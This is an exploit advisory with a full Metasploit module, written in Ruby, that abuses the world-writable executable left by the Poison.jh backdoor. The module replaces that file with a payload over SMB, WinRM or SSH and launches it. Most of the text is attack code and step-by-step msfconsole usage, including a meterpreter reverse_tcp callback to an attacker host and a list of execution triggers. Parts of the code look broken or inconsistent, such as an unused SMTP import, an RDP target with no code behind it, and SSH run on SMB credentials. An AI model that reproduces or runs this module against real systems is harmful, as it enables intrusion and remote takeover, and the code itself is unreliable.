============================================================================================================================================= | # Title : Backdoor.Win32.Poison.jh Remote File Hijack Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : System built‑in component. No standalone download available | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213264/ & MVID-2025-0704 [+] Summary : This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created by malware (Poison.jh) could be abused to achieve code execution. The scenario assumes that the malware drops an executable file inside a protected Windows directory (SysWOW64) with overly permissive access rights (e.g., Everyone: Full Control). If such a misconfiguration exists, an attacker who already has valid access (credentials, SMB, WinRM, or SSH) could theoretically replace the file with a malicious payload. When the file is later executed by the system or malware itself, the attacker’s code would run. [+] Key points: This is not a native Windows vulnerability. It does not work on clean or properly configured systems. It requires existing malware, write permissions, and a trigger for execution. In real-world conditions, Windows system directories are protected and prevent this attack without administrative privileges. [+] Vulnerability Overview : CWE-276: Incorrect Default Permissions Malware: Backdoor.Win32.Poison.jh Location: C:\Windows\SysWOW64\28463\YJBE.exe Flaw: File has Everyone:(ID)F (Full Control) permissions Impact: Any local user can modify/replace the malware executable Type: Backdoor Trojan (Win32/Windows) Purpose: Grants attackers unauthorized remote access and control over the infected system. Behavior: Can execute commands, download/upload files, steal sensitive data, and connect to C2 (Command & Control) servers. Discovery: Part of the Backdoor.Win32.Poison family, first identified around 2009. The .jh suffix refers to a specific variant or signature used by antivirus vendors. Source: Developed by malware authors; not self-spreading, usually delivered via malicious downloads, infected executables, or phishing. Relation to Poison Ivy: Not necessarily Poison Ivy itself, but shares similar RAT functionality. Detection & Prevention: Detected by major AV solutions like Microsoft Defender, Trend Micro, and Kaspersky. Removal requires standard AV cleanup and disconnecting from networks. Key Points: Unauthorized remote control, file manipulation, data theft, part of Poison family, Windows-targeted, identified in AV databases since ~2009. [+] PoC : [+] Module Usage Guide : Installation: # Copy to Metasploit modules directory ====> cp poison_jh_remote.rb ~/.msf4/modules/exploits/windows/remote/ Usage Examples: 1. Check if target is vulnerable: msf6 > use exploit/windows/remote/poison_jh_file_hijack msf6 exploit(poison_jh_file_hijack) > set RHOST 192.168.1.100 msf6 exploit(poison_jh_file_hijack) > set SMBUser administrator msf6 exploit(poison_jh_file_hijack) > set SMBPass Password123 msf6 exploit(poison_jh_file_hijack) > set CHECK_ONLY true msf6 exploit(poison_jh_file_hijack) > run 2. Full exploit via SMB: msf6 > use exploit/windows/remote/poison_jh_file_hijack msf6 exploit(poison_jh_file_hijack) > set RHOST 192.168.1.100 msf6 exploit(poison_jh_file_hijack) > set SMBUser administrator msf6 exploit(poison_jh_file_hijack) > set SMBPass Password123 msf6 exploit(poison_jh_file_hijack) > set PROTOCOL SMB msf6 exploit(poison_jh_file_hijack) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(poison_jh_file_hijack) > set LHOST 192.168.1.50 msf6 exploit(poison_jh_file_hijack) > set LPORT 4444 msf6 exploit(poison_jh_file_hijack) > exploit 3. Exploit via WinRM: msf6 exploit(poison_jh_file_hijack) > set PROTOCOL WinRM msf6 exploit(poison_jh_file_hijack) > set WINRM_USER admin msf6 exploit(poison_jh_file_hijack) > set WINRM_PASS Password123 msf6 exploit(poison_jh_file_hijack) > set RPORT 5985 msf6 exploit(poison_jh_file_hijack) > exploit 4. Exploit via SSH: msf6 exploit(poison_jh_file_hijack) > set PROTOCOL SSH msf6 exploit(poison_jh_file_hijack) > set SMBUser root # SSH username msf6 exploit(poison_jh_file_hijack) > set SMBPass password123 # SSH password msf6 exploit(poison_jh_file_hijack) > set RPORT 22 msf6 exploit(poison_jh_file_hijack) > exploit ## # Module: exploit/windows/remote/poison_jh_file_hijack # Title: Poison.jh Remote File Hijack Exploit # Description: Exploits Poison.jh malware's insecure file permissions remotely ## require 'msf/core' require 'rex' require 'net/ssh' require 'net/smtp' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::WinRM include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Poison.jh Remote File Permission Hijack', 'Description' => %q{ This module exploits the insecure file permissions of the Backdoor.Win32.Poison.jh malware to achieve remote code execution. The malware creates a world-writable executable at C:\Windows\SysWOW64\28463\YJBE.exe, allowing remote attackers to replace the file and execute arbitrary code. This module requires network access to the target and valid credentials. }, 'Author' => [ 'indoushka', 'Based on Malvuln advisory MVID-2025-0704' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://malvuln.com/advisory/3d9821cbe836572410b3c5485a7f76ca.txt'], ['CWE', '276'], ['MVID', 'MVID-2025-0704'] ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Targets' => [ ['Windows (via SMB)', {}], ['Windows (via WinRM)', {}], ['Windows (via RDP)', {}] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2025-12-23' )) register_options([ OptString.new('RHOST', [true, 'The target address']), OptString.new('RPORT', [false, 'The target port', 445]), OptString.new('SMBUser', [false, 'SMB Username']), OptString.new('SMBPass', [false, 'SMB Password']), OptString.new('SMBDomain', [false, 'SMB Domain']), OptString.new('TARGET_PATH', [ true, 'Path to vulnerable Poison.jh executable', 'C:\\Windows\\SysWOW64\\28463\\YJBE.exe' ]), OptEnum.new('PROTOCOL', [ true, 'Protocol to use for exploitation', 'SMB', ['SMB', 'WinRM', 'RDP', 'SSH'] ]), OptBool.new('CHECK_ONLY', [ true, 'Only check if target is vulnerable', false ]), OptString.new('WINRM_USER', [false, 'WinRM username']), OptString.new('WINRM_PASS', [false, 'WinRM password']), OptInt.new('CHECK_TIMEOUT', [true, 'Timeout for checking vulnerability', 30]) ]) end # --------------------------------------------------------------- # Check if target is vulnerable # --------------------------------------------------------------- def check print_status("Checking if #{rhost} is vulnerable to Poison.jh file hijack...") case datastore['PROTOCOL'] when 'SMB' return check_via_smb when 'WinRM' return check_via_winrm when 'SSH' return check_via_ssh else return Exploit::CheckCode::Unknown("Unsupported protocol: #{datastore['PROTOCOL']}") end end # --------------------------------------------------------------- # SMB-based vulnerability check # --------------------------------------------------------------- def check_via_smb begin connect_smb # Try to access the vulnerable path target_path = datastore['TARGET_PATH'] share, path = split_unc_path(target_path) print_status("Attempting to connect to share: #{share}") begin smb_login # Try to open file for writing file = smb_open(path, 'rwct') if file print_good("File is writable via SMB: #{target_path}") file.close disconnect_smb return Exploit::CheckCode::Vulnerable("File is world-writable via SMB") end rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_status("Cannot write to file: #{e}") end disconnect_smb rescue ::Rex::ConnectionError => e print_error("Connection failed: #{e}") return Exploit::CheckCode::Unknown("Connection failed") rescue ::Exception => e print_error("Check failed: #{e}") return Exploit::CheckCode::Unknown("Check failed: #{e}") end Exploit::CheckCode::Safe("File not writable via SMB") end # --------------------------------------------------------------- # WinRM-based vulnerability check # --------------------------------------------------------------- def check_via_winrm begin print_status("Checking via WinRM...") # Execute PowerShell command to check file permissions cmd = "Get-Acl '#{datastore['TARGET_PATH']}' | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'Everyone' -and $_.FileSystemRights -match 'FullControl'}" result = winrm_execute(cmd) if result && result.include?('Everyone') print_good("File has Everyone:FullControl permissions") return Exploit::CheckCode::Vulnerable("File permissions allow write access") end rescue ::Exception => e print_error("WinRM check failed: #{e}") return Exploit::CheckCode::Unknown("WinRM check failed: #{e}") end Exploit::CheckCode::Safe("File not writable via WinRM") end # --------------------------------------------------------------- # SSH-based vulnerability check # --------------------------------------------------------------- def check_via_ssh begin print_status("Checking via SSH...") # Check if file exists and is writable cmd = "test -w '#{datastore['TARGET_PATH']}' && echo 'WRITABLE' || echo 'NOT_WRITABLE'" result = ssh_exec(cmd) if result && result.include?('WRITABLE') print_good("File is writable via SSH") return Exploit::CheckCode::Vulnerable("File is writable via SSH") end rescue ::Exception => e print_error("SSH check failed: #{e}") return Exploit::CheckCode::Unknown("SSH check failed: #{e}") end Exploit::CheckCode::Safe("File not writable via SSH") end # --------------------------------------------------------------- # Main exploit function # --------------------------------------------------------------- def exploit print_status("Starting exploit against #{rhost}...") # Check if target is vulnerable case check when Exploit::CheckCode::Vulnerable print_good("Target is vulnerable!") else fail_with(Failure::NotVulnerable, "Target is not vulnerable") end # Generate payload print_status("Generating payload...") payload_exe = generate_payload_exe # Upload and replace file based on protocol case datastore['PROTOCOL'] when 'SMB' exploit_via_smb(payload_exe) when 'WinRM' exploit_via_winrm(payload_exe) when 'SSH' exploit_via_ssh(payload_exe) when 'RDP' exploit_via_rdp(payload_exe) end # Trigger execution trigger_payload # Report report_vuln({ host: rhost, name: self.name, refs: self.references, info: "Poison.jh file hijack exploited" }) end # --------------------------------------------------------------- # Exploit via SMB # --------------------------------------------------------------- def exploit_via_smb(payload_exe) print_status("Exploiting via SMB...") begin connect_smb smb_login target_path = datastore['TARGET_PATH'] share, path = split_unc_path(target_path) # Backup original file backup_path = path + ".backup" begin smb_rename(path, backup_path) print_status("Backed up original file to: #{backup_path}") rescue print_warning("Could not backup original file") end # Upload payload print_status("Uploading payload to #{target_path}...") file = smb_create(path) file.write(payload_exe) file.close print_good("Payload uploaded successfully!") rescue ::Exception => e print_error("SMB exploit failed: #{e}") fail_with(Failure::Unknown, "SMB upload failed") ensure disconnect_smb end end # --------------------------------------------------------------- # Exploit via WinRM # --------------------------------------------------------------- def exploit_via_winrm(payload_exe) print_status("Exploiting via WinRM...") # Convert payload to base64 for PowerShell payload_b64 = Rex::Text.encode_base64(payload_exe) # PowerShell script to replace file ps_script = <<~PS $TargetPath = '#{datastore['TARGET_PATH']}' $BackupPath = $TargetPath + '.backup' $PayloadBytes = [System.Convert]::FromBase64String('#{payload_b64}') # Backup original if (Test-Path $TargetPath) { Copy-Item $TargetPath $BackupPath -Force Write-Host "Backed up to: $BackupPath" } # Write payload [System.IO.File]::WriteAllBytes($TargetPath, $PayloadBytes) Write-Host "Payload written to: $TargetPath" # Set execution attributes if needed attrib -r $TargetPath PS result = winrm_execute_ps(ps_script) if result && result.include?('Payload written') print_good("Payload uploaded via WinRM") else fail_with(Failure::Unknown, "WinRM upload failed") end end # --------------------------------------------------------------- # Exploit via SSH # --------------------------------------------------------------- def exploit_via_ssh(payload_exe) print_status("Exploiting via SSH...") # Save payload locally first local_path = "/tmp/payload_#{Rex::Text.rand_text_alpha(8)}.exe" File.binwrite(local_path, payload_exe) # SSH commands target_path = datastore['TARGET_PATH'] backup_path = target_path + ".backup" ssh_cmds = [ "cp #{target_path} #{backup_path} 2>/dev/null || true", "echo 'Backup created: #{backup_path}'", "cat > #{target_path} << 'EOF'", payload_exe.force_encoding('UTF-8'), "EOF", "chmod +x #{target_path}", "echo 'Payload uploaded to #{target_path}'" ] result = ssh_exec(ssh_cmds.join('; ')) if result && result.include?('Payload uploaded') print_good("Payload uploaded via SSH") else fail_with(Failure::Unknown, "SSH upload failed") end # Clean up local file File.delete(local_path) if File.exist?(local_path) end # --------------------------------------------------------------- # Trigger payload execution # --------------------------------------------------------------- def trigger_payload print_status("Attempting to trigger payload execution...") trigger_commands = [ # WMI "wmic process call create '#{datastore['TARGET_PATH']}'", # PowerShell "powershell -c Start-Process '#{datastore['TARGET_PATH']}'", # CMD "cmd /c start '#{datastore['TARGET_PATH']}'", # Direct execution datastore['TARGET_PATH'] ] trigger_commands.each do |cmd| begin case datastore['PROTOCOL'] when 'WinRM' result = winrm_execute(cmd) if result print_good("Payload triggered via: #{cmd}") break end when 'SSH' result = ssh_exec(cmd) if result print_good("Payload triggered via: #{cmd}") break end end rescue next end end print_status("Waiting for payload to execute...") Rex.sleep(10) end # --------------------------------------------------------------- # Helper: Split UNC path to share and path # --------------------------------------------------------------- def split_unc_path(full_path) # Convert C:\path\to\file to \\server\share\path\to\file if full_path =~ /^([A-Za-z]):\\(.*)$/ drive = $1 path = $2 share = "#{drive}$" return share, path end return nil, full_path end # --------------------------------------------------------------- # Helper: Execute WinRM command # --------------------------------------------------------------- def winrm_execute(cmd) return unless datastore['WINRM_USER'] && datastore['WINRM_PASS'] begin opts = { host: rhost, port: datastore['RPORT'] || 5985, user: datastore['WINRM_USER'], pass: datastore['WINRM_PASS'], transport: :negotiate, ssl: false, endpoint: 'http://localhost:5985/wsman' } winrm = Net::WinRM::Connection.new(opts) winrm.shell(:powershell) do |shell| output = shell.run(cmd) do |stdout, stderr| return stdout if stdout end end rescue => e print_error("WinRM execute failed: #{e}") nil end end # --------------------------------------------------------------- # Helper: Execute PowerShell via WinRM # --------------------------------------------------------------- def winrm_execute_ps(ps_script) winrm_execute("powershell -encodedcommand #{Rex::Text.encode_base64(ps_script)}") end # --------------------------------------------------------------- # Helper: Execute SSH command # --------------------------------------------------------------- def ssh_exec(cmd) return unless datastore['SMBUser'] && datastore['SMBPass'] begin ssh = Net::SSH.start( rhost, datastore['SMBUser'], password: datastore['SMBPass'], port: datastore['RPORT'] || 22, timeout: 30 ) result = "" ssh.exec!(cmd) do |channel, stream, data| result << data if stream == :stdout end ssh.close result rescue => e print_error("SSH execute failed: #{e}") nil end end # --------------------------------------------------------------- # Helper: Connect to SMB # --------------------------------------------------------------- def connect_smb self.simple = ::Rex::Proto::SMB::SimpleClient.new( address, port: datastore['RPORT'] || 445, username: datastore['SMBUser'], password: datastore['SMBPass'], domain: datastore['SMBDomain'] ) self.simple.connect end def disconnect_smb self.simple.close if self.simple end def smb_login self.simple.login end def smb_open(path, mode) self.simple.open(path, mode) end def smb_create(path) self.simple.create(path) end def smb_rename(old_path, new_path) self.simple.rename(old_path, new_path) end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================